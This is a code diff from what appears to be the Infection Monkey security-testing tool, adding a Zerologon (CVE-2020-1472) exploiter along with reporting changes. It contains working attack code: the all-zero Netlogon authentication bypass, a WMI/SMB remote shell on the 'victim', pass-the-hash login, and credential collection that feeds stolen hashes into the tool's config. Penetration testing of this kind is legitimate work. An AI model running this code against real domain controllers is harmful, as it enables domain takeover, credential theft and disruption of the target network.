# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
import cmd
import logging
import ntpath
import os
import sys
import time
LOG = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to start remote shell on victim
class RemoteShell(cmd.Cmd):
CODEC = sys.stdout.encoding
def __init__(self, share, win32Process, smbConnection, outputFilename):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = "\\" + outputFilename
self.__outputBuffer = str("")
self.__shell = "cmd.exe /Q /c "
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = str("C:\\")
self.__noOutput = False
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd("\\")
else:
self.__noOutput = True
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
local_file_path = os.path.join(
os.path.expanduser("~"), "monkey-" + filename
)
fh = open(local_file_path, "wb")
LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
fh.close()
except Exception as e:
LOG.error(str(e))
if os.path.exists(local_file_path):
os.remove(local_file_path)
def do_exit(self, s):
return True
def do_cd(self, s):
self.execute_remote("cd " + s)
if len(self.__outputBuffer.strip("\r\n")) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ""
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote("cd ")
self.__pwd = self.__outputBuffer.strip("\r\n")
self.prompt = self.__pwd + ">"
self.__outputBuffer = ""
def default(self, line):
# Let's try to guess if the user is trying to change drive.
if len(line) == 2 and line[1] == ":":
# Execute the command and see if the drive is valid.
self.execute_remote(line)
if len(self.__outputBuffer.strip("\r\n")) > 0:
# Something went wrong.
print(self.__outputBuffer)
self.__outputBuffer = ""
else:
# Drive valid, now we should get the current path.
self.__pwd = line
self.execute_remote("cd ")
self.__pwd = self.__outputBuffer.strip("\r\n")
self.prompt = self.__pwd + ">"
self.__outputBuffer = ""
else:
if line != "":
self.send_data(line)
def get_output(self):
def output_callback(data):
try:
self.__outputBuffer += data.decode(self.CODEC)
except UnicodeDecodeError:
LOG.error(
"Decoding error detected, consider running chcp.com at the target,\nmap the result with "
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py "
"again with -codec and the corresponding codec"
)
self.__outputBuffer += data.decode(self.CODEC, errors="replace")
if self.__noOutput is True:
self.__outputBuffer = ""
return
while True:
try:
self.__transferClient.getFile(
self.__share, self.__output, output_callback
)
break
except Exception as e:
if str(e).find("STATUS_SHARING_VIOLATION") >= 0:
# Output not finished, let's wait.
time.sleep(1)
elif str(e).find("Broken") >= 0:
# The SMB Connection might have timed out, let's try reconnecting.
LOG.debug("Connection broken, trying to recreate it")
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += (
" 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1"
)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer)
self.__outputBuffer = ""

View File

@ -0,0 +1,92 @@
import logging
from typing import Optional
import nmb.NetBIOS
from impacket.dcerpc.v5 import nrpc, rpcrt
LOG = logging.getLogger(__name__)
def get_dc_details(host: object) -> (str, str, str):
dc_ip = host.ip_addr
dc_name = _get_dc_name(dc_ip=dc_ip)
dc_handle = "\\\\" + dc_name
return dc_ip, dc_name, dc_handle
def _get_dc_name(dc_ip: str) -> str:
"""
Gets NetBIOS name of the Domain Controller (DC).
"""
try:
nb = nmb.NetBIOS.NetBIOS()
name = nb.queryIPForName(
ip=dc_ip
) # returns either a list of NetBIOS names or None
return name[0] if name else ""
except BaseException as ex:
LOG.info(f"Exception: {ex}")
def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v5]):
# Connect to the DC's Netlogon service.
try:
rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return False, None
# Try authenticating.
for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS):
try:
rpc_con_auth_result = _try_zero_authenticate(
zerologon_exploiter_object, rpc_con
)
if rpc_con_auth_result is not None:
return True, rpc_con_auth_result
except Exception as ex:
LOG.info(ex)
return False, None
return False, None
def _try_zero_authenticate(
zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5
) -> rpcrt.DCERPC_v5:
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
flags = 0x212FFFFF
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con,
zerologon_exploiter_object.dc_handle + "\x00",
zerologon_exploiter_object.dc_name + "\x00",
plaintext,
)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
zerologon_exploiter_object.dc_handle + "\x00",
zerologon_exploiter_object.dc_name + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
zerologon_exploiter_object.dc_name + "\x00",
ciphertext,
flags,
)
assert server_auth["ErrorCode"] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
if (
ex.get_error_code() == 0xC0000022
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
pass
else:
raise Exception(f"Unexpected error code: {ex.get_error_code()}.")
except BaseException as ex:
raise Exception(f"Unexpected error: {ex}.")

View File

@ -0,0 +1,120 @@
# Copyright (c) 2000 SecureAuth Corporation. All rights
# reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
# 3. The end-user documentation included with the redistribution,
# if any, must include the following acknowledgment:
# "This product includes software developed by
# SecureAuth Corporation (https://www.secureauth.com/)."
# Alternately, this acknowledgment may appear in the software itself,
# if and wherever such third-party acknowledgments normally appear.
# 4. The names "Impacket", "SecureAuth Corporation" must
# not be used to endorse or promote products derived from this
# software without prior written permission. For written
# permission, please contact oss@secureauth.com.
# 5. Products derived from this software may not be called "Impacket",
# nor may "Impacket" appear in their name, without prior written
# permission of SecureAuth Corporation.
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
import logging
import time
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import SMBConnection
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
LOG = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to get HKLM keys for restoring original DC password
class Wmiexec:
OUTPUT_FILENAME = "__" + str(time.time())
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
self.__ip = ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(":")
self.__share = share
self.shell = None
def connect(self):
self.smbConnection = SMBConnection(self.__ip, self.__ip)
self.smbConnection.login(
user=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
)
self.dcom = DCOMConnection(
target=self.__ip,
username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
oxidResolver=True,
)
try:
iInterface = self.dcom.CoCreateInstanceEx(
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.iWbemServices = iWbemLevel1Login.NTLMLogin(
"//./root/cimv2", NULL, NULL
)
iWbemLevel1Login.RemRelease()
except (Exception, KeyboardInterrupt) as e:
LOG.error(str(e))
self.smbConnection.logoff()
self.dcom.disconnect()
def get_remote_shell(self):
self.connect()
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
self.shell = RemoteShell(
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
)
return self.shell
def close(self):
self.smbConnection.close()
self.smbConnection = None
self.dcom.disconnect()
self.dcom = None

View File

@ -204,7 +204,8 @@ class InfectionMonkey(object):
if self.try_exploiting(machine, exploiter):
host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send()
break
if exploiter.RUNS_AGENT_ON_SUCCESS:
break # if adding machine to exploited, won't try other exploits on it
if not host_exploited:
self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send()
@ -346,14 +347,14 @@ class InfectionMonkey(object):
try:
result = exploiter.exploit_host()
if result:
self.successfully_exploited(machine, exploiter)
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except ExploitingVulnerableMachineError as exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
self.successfully_exploited(machine, exploiter)
self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS)
return True
except FailedExploitationError as e:
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
@ -364,13 +365,14 @@ class InfectionMonkey(object):
exploiter.send_exploit_telemetry(result)
return False
def successfully_exploited(self, machine, exploiter):
def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True):
"""
Workflow of registering successfully exploited machine
:param machine: machine that was exploited
:param exploiter: exploiter that succeeded
"""
self._exploited_machines.add(machine)
if RUNS_AGENT_ON_SUCCESS:
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",
machine, exploiter.__class__.__name__)

View File

@ -1,109 +0,0 @@
"""
Implementation from https://github.com/SecuraBV/CVE-2020-1472
"""
import logging
import nmb.NetBIOS
from impacket.dcerpc.v5 import epm, nrpc, transport
from infection_monkey.network.HostFinger import HostFinger
LOG = logging.getLogger(__name__)
class WindowsServerFinger(HostFinger):
# Class related consts
MAX_ATTEMPTS = 2000
_SCANNED_SERVICE = "NTLM (NT LAN Manager)"
def get_host_fingerprint(self, host):
"""
Checks if the Windows Server is vulnerable to Zerologon.
"""
DC_IP = host.ip_addr
DC_NAME = self.get_dc_name(DC_IP)
if DC_NAME: # if it is a Windows DC
# Keep authenticating until successful.
# Expected average number of attempts needed: 256.
# Approximate time taken by 2000 attempts: 40 seconds.
DC_HANDLE = '\\\\' + DC_NAME
LOG.info('Performing Zerologon authentication attempts...')
rpc_con = None
for _ in range(0, self.MAX_ATTEMPTS):
try:
rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME)
if rpc_con is not None:
break
except Exception as ex:
LOG.info(ex)
break
self.init_service(host.services, self._SCANNED_SERVICE, '')
if rpc_con:
LOG.info('Success: Domain Controller can be fully compromised by a Zerologon attack.')
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = True
return True
else:
LOG.info('Failure: Target is either patched or an unexpected error was encountered.')
host.services[self._SCANNED_SERVICE]['is_vulnerable'] = False
return False
else:
LOG.info('Error encountered; most likely not a Windows Domain Controller.')
return False
def get_dc_name(self, DC_IP):
"""
Gets NetBIOS name of the Domain Controller (DC).
"""
try:
nb = nmb.NetBIOS.NetBIOS()
name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None
return name[0] if name else None
except BaseException as ex:
LOG.info(f'Exception: {ex}')
def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(
rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, DC_HANDLE + '\x00', DC_NAME +
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
DC_NAME + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return rpc_con
except nrpc.DCERPCSessionError as ex:
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
pass
else:
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
except BaseException as ex:
raise Exception(f'Unexpected error: {ex}.')

View File

@ -0,0 +1,18 @@
import io
import sys
class StdoutCapture:
def __enter__(self) -> None:
self._orig_stdout = sys.stdout
self._new_stdout = io.StringIO()
sys.stdout = self._new_stdout
return self
def get_captured_stdout_output(self) -> str:
self._new_stdout.seek(0)
output = self._new_stdout.read()
return output
def __exit__(self, _, __, ___) -> None:
sys.stdout = self._orig_stdout

View File

@ -12,9 +12,14 @@ class T1003(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully obtained some credentials from systems on the network."
query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}},
# $gt: {} checks if field is not an empty object
{'data.credentials': {'$gt': {}}}]}
query = {'$or': [
{'telem_category': 'system_info',
'$and': [{'data.credentials': {'$exists': True}},
{'data.credentials': {'$gt': {}}}]}, # $gt: {} checks if field is not an empty object
{'telem_category': 'exploit',
'$and': [{'data.info.credentials': {'$exists': True}},
{'data.info.credentials': {'$gt': {}}}]}
]}
@staticmethod
def get_report_data():

View File

@ -148,6 +148,20 @@ EXPLOITER_CLASSES = {
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
"for which certain modules (such as RESTful Web Services) are enabled.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
},
{
"type": "string",
"enum": [
"ZerologonExploiter"
],
"title": "Zerologon Exploiter",
"safe": False,
"info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows "
"server domain controller by using the Netlogon Remote Protocol (MS-NRPC). "
"This exploiter changes the password of a Windows server domain controller "
"account and could prevent the victim domain controller from communicating "
"with other domain controllers.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/"
}
]
}

View File

@ -71,16 +71,6 @@ FINGER_CLASSES = {
"safe": True,
"info": "Checks if ElasticSearch is running and attempts to find it's version.",
"attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"WindowsServerFinger"
],
"title": "WindowsServerFinger",
"safe": True,
"info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.",
"attack_techniques": ["T1210"]
}
]
}

View File

@ -239,8 +239,7 @@ INTERNAL = {
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger",
"WindowsServerFinger"
"ElasticFinger"
]
}
}

View File

@ -44,7 +44,8 @@ class ReportService:
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter',
'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
'DrupalExploiter': 'Drupal Server Exploiter'
'DrupalExploiter': 'Drupal Server Exploiter',
'ZerologonExploiter': 'Windows Server Zerologon Exploiter'
}
class ISSUES_DICT(Enum):
@ -63,6 +64,7 @@ class ReportService:
MSSQL = 12
VSFTPD = 13
DRUPAL = 14
ZEROLOGON = 15
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -178,32 +180,57 @@ class ReportService:
@staticmethod
def get_stolen_creds():
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
creds = []
for telem in mongo.db.telemetry.find(
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1}
):
monkey_creds = telem['data']['credentials']
if len(monkey_creds) == 0:
continue
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
for user in monkey_creds:
for pass_type in PASS_TYPE_DICT:
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
continue
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
cred_row = \
{
'username': username,
'type': PASS_TYPE_DICT[pass_type],
'origin': origin
}
if cred_row not in creds:
creds.append(cred_row)
stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems()
creds.extend(stolen_system_info_creds)
stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems()
creds.extend(stolen_exploit_creds)
logger.info('Stolen creds generated for reporting')
return creds
@staticmethod
def _get_credentials_from_system_info_telems():
formatted_creds = []
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1}):
creds = telem['data']['credentials']
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
return formatted_creds
@staticmethod
def _get_credentials_from_exploit_telems():
formatted_creds = []
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
{'data.info.credentials': 1, 'monkey_guid': 1}):
creds = telem['data']['info']['credentials']
formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds))
return formatted_creds
@staticmethod
def _format_creds_for_reporting(telem, monkey_creds):
creds = []
CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
if len(monkey_creds) == 0:
return []
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
for user in monkey_creds:
for cred_type in CRED_TYPE_DICT:
if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]:
continue
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
cred_row = \
{
'username': username,
'type': CRED_TYPE_DICT[cred_type],
'origin': origin
}
if cred_row not in creds:
creds.append(cred_row)
return creds
@staticmethod
def get_ssh_keys():
"""
@ -363,6 +390,12 @@ class ReportService:
processed_exploit['type'] = 'drupal'
return processed_exploit
@staticmethod
def process_zerologon_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'zerologon'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -379,7 +412,8 @@ class ReportService:
'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit,
'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
'DrupalExploiter': ReportService.process_drupal_exploit
'DrupalExploiter': ReportService.process_drupal_exploit,
'ZerologonExploiter': ReportService.process_zerologon_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -678,6 +712,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'] == 'drupal':
issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
elif issue['type'] == 'zerologon':
issues_byte_array[ReportService.ISSUES_DICT.ZEROLOGON.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

View File

@ -4,6 +4,7 @@ import dateutil
from monkey_island.cc.server_utils.encryptor import encryptor
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.edge.displayed_edge import EdgeService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
@ -15,6 +16,7 @@ def process_exploit_telemetry(telemetry_json):
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
update_network_with_exploit(edge, telemetry_json)
update_node_credentials_from_successful_attempts(edge, telemetry_json)
add_exploit_extracted_creds_to_config(telemetry_json)
check_machine_exploited(
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
@ -24,6 +26,19 @@ def process_exploit_telemetry(telemetry_json):
timestamp=telemetry_json['timestamp'])
def add_exploit_extracted_creds_to_config(telemetry_json):
if 'credentials' in telemetry_json['data']['info']:
creds = telemetry_json['data']['info']['credentials']
for user in creds:
ConfigService.creds_add_username(creds[user]['username'])
if 'password' in creds[user] and creds[user]['password']:
ConfigService.creds_add_password(creds[user]['password'])
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
for attempt in telemetry_json['data']['attempts']:
if attempt['result']: